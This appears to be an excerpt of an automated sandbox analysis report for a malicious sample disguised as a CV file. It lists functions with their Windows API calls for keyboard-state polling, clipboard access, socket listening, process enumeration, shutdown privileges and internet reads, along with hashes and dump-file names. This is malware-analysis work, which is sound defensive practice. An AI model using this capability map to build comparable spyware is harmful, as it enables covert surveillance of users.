                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
                                                                  • String ID:
                                                                  • API String ID: 1240663315-0
                                                                  • Opcode ID: 0fd7344dd70090c1658b53d154c858a86d3ec48ab2c051d0ecdb3e82b8566285
                                                                  • Instruction ID: 50b2669fea738d542ec48c315d885a344dc1ceabfdb7bcd5acb7983375bf8430
                                                                  • Opcode Fuzzy Hash: 0fd7344dd70090c1658b53d154c858a86d3ec48ab2c051d0ecdb3e82b8566285
                                                                  • Instruction Fuzzy Hash: 4FE15D31604210AFCB15EF28C895E6ABBE8FF89B10F0484ADF54AD7261DB34EE05CB51
                                                                  Function 00B62B37 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetKeyboardState.USER32(?), ref: 00B62B5F
                                                                  • GetAsyncKeyState.USER32(000000A0), ref: 00B62BE0
                                                                  • GetKeyState.USER32(000000A0), ref: 00B62BFB
                                                                  • GetAsyncKeyState.USER32(000000A1), ref: 00B62C15
                                                                  • GetKeyState.USER32(000000A1), ref: 00B62C2A
                                                                  • GetAsyncKeyState.USER32(00000011), ref: 00B62C42
                                                                  • GetKeyState.USER32(00000011), ref: 00B62C54
                                                                  • GetAsyncKeyState.USER32(00000012), ref: 00B62C6C
                                                                  • GetKeyState.USER32(00000012), ref: 00B62C7E
                                                                  • GetAsyncKeyState.USER32(0000005B), ref: 00B62C96
                                                                  • GetKeyState.USER32(0000005B), ref: 00B62CA8
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: State$Async$Keyboard
                                                                  • String ID:
                                                                  • API String ID: 541375521-0
                                                                  • Opcode ID: fdfdf7d0944e604b5508fa974145f0dd7669f36468bd7537ca95b811f726673a
                                                                  • Instruction ID: bfce64761bc6e79f4eb258fd6a7202e8a6ad90fa9b8c745f116c7e9110e024f9
                                                                  • Opcode Fuzzy Hash: fdfdf7d0944e604b5508fa974145f0dd7669f36468bd7537ca95b811f726673a
                                                                  • Instruction Fuzzy Hash: E3418634904FC96DFF359B6489453A9BEE0EB22344F0880D9D9C6576C1DF9C99C4CBA2
                                                                  Function 00B76D07 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Clipboard$AllocCloseEmptyGlobalOpen
                                                                  • String ID:
                                                                  • API String ID: 1737998785-0
                                                                  • Opcode ID: 927af06c666359379d2b66e58977f83864da3239defc75c52bc9d82073e230f2
                                                                  • Instruction ID: adefe2e697759dcf426753222987146233b879ceb3ddf7fbd68043d099fde217
                                                                  • Opcode Fuzzy Hash: 927af06c666359379d2b66e58977f83864da3239defc75c52bc9d82073e230f2
                                                                  • Instruction Fuzzy Hash: 0B218B31300610AFDB11AF68DC8AB6D77E8EF45710F1484A9F95A9B2A1CF34E9008B55
                                                                  Function 00B7C18C Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 232COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B59ABF: CLSIDFromProgID.OLE32 ref: 00B59ADC
                                                                    • Part of subcall function 00B59ABF: ProgIDFromCLSID.OLE32(?,00000000), ref: 00B59AF7
                                                                    • Part of subcall function 00B59ABF: lstrcmpiW.KERNEL32(?,00000000), ref: 00B59B05
                                                                    • Part of subcall function 00B59ABF: CoTaskMemFree.OLE32(00000000,?,00000000), ref: 00B59B15
                                                                  • CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 00B7C235
                                                                  • _memset.LIBCMT ref: 00B7C242
                                                                  • _memset.LIBCMT ref: 00B7C360
                                                                  • CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000001), ref: 00B7C38C
                                                                  • CoTaskMemFree.OLE32(?), ref: 00B7C397
                                                                  Strings
                                                                  • NULL Pointer assignment, xrefs: 00B7C3E5
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
                                                                  • String ID: NULL Pointer assignment
                                                                  • API String ID: 1300414916-2785691316
                                                                  • Opcode ID: 080a86ab3ef78c23e085949558384b08e40ead4bf45e5fc67adab1859cf22eed
                                                                  • Instruction ID: b33dadc5e279494573ae3c166fa5a914696b711fe01321fbb567e9e026fa8438
                                                                  • Opcode Fuzzy Hash: 080a86ab3ef78c23e085949558384b08e40ead4bf45e5fc67adab1859cf22eed
                                                                  • Instruction Fuzzy Hash: 5991FC71D00228ABDB10DF94DC95EDEBBB9EF04710F1081AEF529A7291EB705A45CFA0
                                                                  Function 00B679D3 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 58shutdownCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B5B134: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00B5B180
                                                                    • Part of subcall function 00B5B134: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00B5B1AD
                                                                    • Part of subcall function 00B5B134: GetLastError.KERNEL32 ref: 00B5B1BA
                                                                  • ExitWindowsEx.USER32(?,00000000), ref: 00B67A0F
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
                                                                  • String ID: $@$SeShutdownPrivilege
                                                                  • API String ID: 2234035333-194228
                                                                  • Opcode ID: 24cda59fac8b6d9cebb179bd240030c7332ac13971ea085ef7b8afa89a29181b
                                                                  • Instruction ID: ad010ae06291a7b01a02cb1be2b9a4263bdcbc59735881e704569ad5f7675ff6
                                                                  • Opcode Fuzzy Hash: 24cda59fac8b6d9cebb179bd240030c7332ac13971ea085ef7b8afa89a29181b
                                                                  • Instruction Fuzzy Hash: CE01F7726E82116BF72816F4CC9BBBF72D8DB00758F2405E4BD13E20D2ED695E0082A0
                                                                  Function 00B78C4F Relevance: 9.1, APIs: 6, Instructions: 83networkCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00B78CA8
                                                                  • WSAGetLastError.WSOCK32(00000000), ref: 00B78CB7
                                                                  • bind.WSOCK32(00000000,?,00000010), ref: 00B78CD3
                                                                  • listen.WSOCK32(00000000,00000005), ref: 00B78CE2
                                                                  • WSAGetLastError.WSOCK32(00000000), ref: 00B78CFC
                                                                  • closesocket.WSOCK32(00000000,00000000), ref: 00B78D10
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: ErrorLast$bindclosesocketlistensocket
                                                                  • String ID:
                                                                  • API String ID: 1279440585-0
                                                                  • Opcode ID: f2e1206ff8aee79f9b235361226670721bc912ae4a531b8e0bf57b291185d3f5
                                                                  • Instruction ID: b1395a28039f6b8ed0f813890ccfb6653c32fb5e15469ee612a740ac17c503df
                                                                  • Opcode Fuzzy Hash: f2e1206ff8aee79f9b235361226670721bc912ae4a531b8e0bf57b291185d3f5
                                                                  • Instruction Fuzzy Hash: A721E4316002109FCB14EF68D989B6E77E9EF49310F148598F96BA72D2CF30AD05CB51
                                                                  Function 00B66532 Relevance: 9.1, APIs: 6, Instructions: 71processCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 00B66554
                                                                  • Process32FirstW.KERNEL32(00000000,0000022C), ref: 00B66564
                                                                  • Process32NextW.KERNEL32(00000000,0000022C), ref: 00B66583
                                                                  • __wsplitpath.LIBCMT ref: 00B665A7
                                                                  • _wcscat.LIBCMT ref: 00B665BA
                                                                  • CloseHandle.KERNEL32(00000000,?,00000000), ref: 00B665F9
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wsplitpath_wcscat
                                                                  • String ID:
                                                                  • API String ID: 1605983538-0
                                                                  • Opcode ID: 7c4650cfe92b7b76a81281beca0ddf56389bd45dd8920c00c7193727bcd06633
                                                                  • Instruction ID: 0a5cc5761b93565fd352b19852dc4ed6f649a3e4a354723f87f563771f1e7754
                                                                  • Opcode Fuzzy Hash: 7c4650cfe92b7b76a81281beca0ddf56389bd45dd8920c00c7193727bcd06633
                                                                  • Instruction Fuzzy Hash: 94215371900218ABDB10ABA4CC89BEDB7FCAB55300F5004E9E506E7141DB759F85CF61
                                                                  Function 00B7923B Relevance: 7.6, APIs: 5, Instructions: 146networkCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B7A82C: inet_addr.WSOCK32(00000000,00000000,?,?,?,00000000), ref: 00B7A84E
                                                                  • socket.WSOCK32(00000002,00000002,00000011,?,?,?,00000000), ref: 00B79296
                                                                  • WSAGetLastError.WSOCK32(00000000,00000000), ref: 00B792B9
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: ErrorLastinet_addrsocket
                                                                  • String ID:
                                                                  • API String ID: 4170576061-0
                                                                  • Opcode ID: 942a9f5f1b3c7b0cf26284267f956fc7188abd113eeb85ab09759d68a2eff798
                                                                  • Instruction ID: c8219291ba9cfca5fbe313b329bf26cc5a9cd5906c15a444b22659dd4573e227
                                                                  • Opcode Fuzzy Hash: 942a9f5f1b3c7b0cf26284267f956fc7188abd113eeb85ab09759d68a2eff798
                                                                  • Instruction Fuzzy Hash: 3B41C370600210AFDB14AF68C882E7E77EDEF48724F148488F95AAB3D2DA749D018B95
                                                                  Function 00B6EB60 Relevance: 7.6, APIs: 5, Instructions: 125fileCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • FindFirstFileW.KERNEL32(?,?), ref: 00B6EB8A
                                                                  • _wcscmp.LIBCMT ref: 00B6EBBA
                                                                  • _wcscmp.LIBCMT ref: 00B6EBCF
                                                                  • FindNextFileW.KERNEL32(00000000,?), ref: 00B6EBE0
                                                                  • FindClose.KERNEL32(00000000,00000001,00000000), ref: 00B6EC0E
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Find$File_wcscmp$CloseFirstNext
                                                                  • String ID:
                                                                  • API String ID: 2387731787-0
                                                                  • Opcode ID: 96a2ca8d4119cb26e068075556e6c8b2610f0161bbc0940b6f01b0b740b9af43
                                                                  • Instruction ID: 47cacacff9c8b81a70d041492bbd984c18ca343e67be32bf3f71f3fa3d93af29
                                                                  • Opcode Fuzzy Hash: 96a2ca8d4119cb26e068075556e6c8b2610f0161bbc0940b6f01b0b740b9af43
                                                                  • Instruction Fuzzy Hash: A341B0356043029FCB08DF28C491AA9B7E4FF49324F10459DF96A8B3A1DB35E945CB51
                                                                  Function 00B88111 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Window$EnabledForegroundIconicVisibleZoomed
                                                                  • String ID:
                                                                  • API String ID: 292994002-0
                                                                  • Opcode ID: 2a0b56a2e3d554dc340a58d771d7556d3dcbe1fab37abe256f8bb6759cd6ff55
                                                                  • Instruction ID: a196ec1cba8aafc7f8ebebfd4ab3db0f97bc1b4b11613c0d5c794a724702c701
                                                                  • Opcode Fuzzy Hash: 2a0b56a2e3d554dc340a58d771d7556d3dcbe1fab37abe256f8bb6759cd6ff55
                                                                  • Instruction Fuzzy Hash: 2F1160317002116BE7217F26DC89A6F7BD9EF59760B8444A9F84AE7261CF34A902C7A4
                                                                  Function 00B29B60 Relevance: 7.3, Strings: 5, Instructions: 1055COMMON
                                                                  Download Yara Rule
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID:
                                                                  • String ID: ERCP$VUUU$VUUU$VUUU$VUUU
                                                                  • API String ID: 0-1546025612
                                                                  • Opcode ID: c26ceafd9aee78725812b04e090e6b49b7a0b9e613b92d959bd3903d0acfbcb7
                                                                  • Instruction ID: ce28ab89a28ca46ea7ebb1e601ee76507172ff97ebdef745a96edf72ee940748
                                                                  • Opcode Fuzzy Hash: c26ceafd9aee78725812b04e090e6b49b7a0b9e613b92d959bd3903d0acfbcb7
                                                                  • Instruction Fuzzy Hash: 09927C71E0422ACBDF24CF58D880BADB7F1FB55314F1485EAE81AAB281D7719D81CB91
                                                                  Function 00B3E01E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • LoadLibraryA.KERNEL32(kernel32.dll,?,00B3E014,76F90AE0,00B3DEF1,00BBDC38,?,?), ref: 00B3E02C
                                                                  • GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00B3E03E
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: AddressLibraryLoadProc
                                                                  • String ID: GetNativeSystemInfo$kernel32.dll
                                                                  • API String ID: 2574300362-192647395
                                                                  • Opcode ID: 99ce7e1341772d6092df12a7f8e577212f2576b1ed5ee1500be7c1873672473a
                                                                  • Instruction ID: 492971f12711085b09352fdee0f6bd7a4180dbb4f68c98be55a4e5d340935ef4
                                                                  • Opcode Fuzzy Hash: 99ce7e1341772d6092df12a7f8e577212f2576b1ed5ee1500be7c1873672473a
                                                                  • Instruction Fuzzy Hash: 68D0A7305407129FC7354F60EC0A716B7D4EF15300F2844ABE492E36A0EBB4C8808E60
                                                                  Function 00B613CA Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 560stringCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • lstrlenW.KERNEL32(?,?,?,00000000), ref: 00B613DC
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: lstrlen
                                                                  • String ID: ($|
                                                                  • API String ID: 1659193697-1631851259
                                                                  • Opcode ID: 4f54fb8ec4f78d17fe3829c8cff39a1209fb79919c29ca33802d39b0e0d0e460
                                                                  • Instruction ID: e5e9bd820da6dc471ecda711ac271fceb87fca37926453e4f6e54248b41eb918
                                                                  • Opcode Fuzzy Hash: 4f54fb8ec4f78d17fe3829c8cff39a1209fb79919c29ca33802d39b0e0d0e460
                                                                  • Instruction Fuzzy Hash: 13321575A006059FC728CF69C48096AF7F0FF48310B15C9AEE59ADB3A2EB74E941CB44
                                                                  Function 00B3B11F Relevance: 4.9, APIs: 3, Instructions: 377COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B3B34E: GetWindowLongW.USER32(?,000000EB), ref: 00B3B35F
                                                                  • DefDlgProcW.USER32(?,?,?,?,?), ref: 00B3B22F
                                                                    • Part of subcall function 00B3B55D: DefDlgProcW.USER32(?,00000020,?,00000000), ref: 00B3B5A5
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Proc$LongWindow
                                                                  • String ID:
                                                                  • API String ID: 2749884682-0
                                                                  • Opcode ID: b5411c4b42f68f03d54564cb7276ba640111a0ef491dd117a5b10d9e757922c9
                                                                  • Instruction ID: f29c0d5a212f11ff011275c9e962bd12ce844107107521bdbfc210e23735dbba
                                                                  • Opcode Fuzzy Hash: b5411c4b42f68f03d54564cb7276ba640111a0ef491dd117a5b10d9e757922c9
                                                                  • Instruction Fuzzy Hash: 5EA12670514005BADF28AB2A8CC9E7F3DDCEB56740F3446E9F616D669ADB24DC00D272
                                                                  Function 00B74EB5 Relevance: 4.7, APIs: 3, Instructions: 155networkfileCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00B743BF,00000000), ref: 00B74FA6
                                                                  • InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00B74FD2
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Internet$AvailableDataFileQueryRead
                                                                  • String ID:
                                                                  • API String ID: 599397726-0
                                                                  • Opcode ID: 2d74f90f06576811717984867e31da5debe06fb8864bcf95b7a39efea969f424
                                                                  • Instruction ID: 3adcd514e6b6094bd5201c42c0456c3aa1bcf496cf4377f39d0a914dcf8044b4
                                                                  • Opcode Fuzzy Hash: 2d74f90f06576811717984867e31da5debe06fb8864bcf95b7a39efea969f424
                                                                  • Instruction Fuzzy Hash: 9F41EA71504209BFEB219F94CC81EBFB7FCEB40715F1080AAF61DA6181EBB19E419660
                                                                  Function 00B6E1FD Relevance: 4.6, APIs: 3, Instructions: 72COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SetErrorMode.KERNEL32(00000001), ref: 00B6E20D
                                                                  • GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00B6E267
                                                                  • SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 00B6E2B4
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: ErrorMode$DiskFreeSpace
                                                                  • String ID:
